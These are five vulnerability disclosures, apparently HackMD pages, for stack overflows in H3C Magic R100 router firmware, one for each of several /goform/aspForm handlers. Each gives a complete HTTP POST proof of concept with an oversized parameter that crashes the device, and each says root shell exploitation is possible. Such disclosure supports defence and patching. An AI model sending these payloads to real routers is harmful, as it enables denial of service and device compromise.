H3C Magic R100 R100V100R005.bin was discovered to contain a stack overflow via the EditSTList interface at /goform/aspForm. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted payload.

\# H3C Magic R100 was discovered stack overflow via the EditSTList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R100\` vendor:H3C product:Magic R100 version:R100V100R005.bin type:Stack Overflow author:Yifeng Li, Wolin Zhuang; ## Vulnerability Description H3C Magic R100 R100V100R005.bin was discovered to contain a stack overflow via the EditSTListEditSTList interface at /goform/aspForm. ## Vulnerability Details Function EditSTList(sub\_45A284) use the strcpy function to directly copy "param" string(Var) to the stack. The size of the V8 array is not taken into account, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/EvBqWCF.png) !\[\](https://i.imgur.com/zo0mQ11.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Install firmware R100V100R005.bin to router Magic\_R100(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/0UFAh9L.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PPPOE\_NETWORK\_FLAG=true; hour=17; minute=3; second=7; PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2027 CMD=EditSTList&param=CMOID:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/RPZFnAq.png) And you can write your own exp to get the root shell.

CVE-2023-27805: H3C Magic R100 was discovered stack overflow via the EditSTList interface at /goform/aspForm - HackMD

H3C Magic R100 R100V100R005.bin was discovered to contain a stack overflow via the EdittriggerList interface at /goform/aspForm. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted payload.

\# H3C Magic R100 was discovered stack overflow via the EdittriggerList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R100\` vendor:H3C product:Magic R100 version:R100V100R005.bin type:Stack Overflow author:Yifeng Li, Wolin Zhuang; ## Vulnerability Description H3C Magic R100 R100V100R005.bin was discovered to contain a stack overflow via the EdittriggerList interface at /goform/aspForm. ## Vulnerability Details In function EdittriggerList(sub\_453F84),the size of local variable v6 is noly 20 bytes long.Parameters in the EdittriggerList interface use the getElement function to split strings(VAr). !\[\](https://i.imgur.com/vBkqSzy.png) !\[\](https://i.imgur.com/2IeExla.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Install firmware R100V100R005.bin to router Magic\_R100(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/0UFAh9L.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PPPOE\_NETWORK\_FLAG=true; hour=17; minute=3; second=7; PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2032 CMD=EdittriggerList&param=;;;;;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/ecCAYKn.png) And you can write your own exp to get the root shell.

CVE-2023-27803: H3C Magic R100 was discovered stack overflow via the EdittriggerList interface at /goform/aspForm - HackMD

H3C Magic R100 R100V100R005.bin was discovered to contain a stack overflow via the DelDNSHnList interface at /goform/aspForm. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted payload.

\# H3C Magic R100 was discovered stack overflow via the DelDNSHnList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R100\` vendor:H3C product:Magic R100 version:R100V100R005.bin type:Stack Overflow author:Yifeng Li, Wolin Zhuang; ## Vulnerability Description H3C Magic R100 R100V100R005.bin was discovered to contain a stack overflow via the DelDNSHnList interface at /goform/aspForm. ## Vulnerability Details In function DelDNSHnList(sub\_4385C4),the size of local variable v6 is noly 16 bytes long.Parameters in the DelDNSHnList interface use the getElement function to split strings(VAr). !\[\](https://i.imgur.com/lPm20D2.png) !\[\](https://i.imgur.com/SeKblXh.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Install firmware R100V100R005.bin to router Magic\_R100(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/0UFAh9L.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PPPOE\_NETWORK\_FLAG=true; hour=17; minute=3; second=7; PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2024 CMD=DelDNSHnList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/allyzif.png) And you can write your own exp to get the root shell.

CVE-2023-27801: H3C Magic R100 was discovered stack overflow via the DelDNSHnList interface at /goform/aspForm - HackMD

H3C Magic R100 R100V100R005.bin was discovered to contain a stack overflow via the EditvsList parameter at /goform/aspForm. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted payload.

\# H3C Magic R100 was discovered stack overflow via the EditvsList parameter at /goform/aspForm ###### tags: \`H3C\` \`Magic R100\` vendor:H3C product:Magic R100 version:R100V100R005.bin type:Stack Overflow author:Yifeng Li, Wolin Zhuang; ## Vulnerability Description H3C Magic R100 R100V100R005.bin was discovered to contain a stack overflow via the EditvsList parameter at /goform/aspForm. ## Vulnerability Details In function EditvsList(sub\_453628),the size of local variable v8 is noly 20 bytes long.Parameters in the EditvsList parameter use the getElement function to split strings(Var). !\[\](https://i.imgur.com/S2ezKHs.png) !\[\](https://i.imgur.com/C4g6mE2.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Install firmware R100V100R005.bin to router Magic\_R100(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/0UFAh9L.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PPPOE\_NETWORK\_FLAG=true; hour=17; minute=3; second=7; PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2032 CMD=EditvsList&param=;;;;;;;;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/a0KLBic.png) And you can write your own exp to get the root shell.

CVE-2023-27802: H3C Magic R100 was discovered stack overflow via the EditvsList parameter at /goform/aspForm - HackMD

H3C Magic R100 R100V100R005.bin was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted payload.

\# H3C Magic R100 was discovered stack overflow via the DelvsList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R100\` vendor:H3C product:Magic R100 version:R100V100R005.bin type:Stack Overflow author:Yifeng Li, Wolin Zhuang; ## Vulnerability Description H3C Magic R100 R100V100R005.bin was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm. ## Vulnerability Details In function DelvsList(sub\_453870),the size of local variable v6 is noly 16 bytes long.Parameters in the DelvsList interface use the getElement function to split strings(VAr). !\[\](https://i.imgur.com/L7TAJ4l.png) !\[\](https://i.imgur.com/tIRFgA5.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Install firmware R100V100R005.bin to router Magic\_R100(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/0UFAh9L.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2021 CMD=DelvsList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa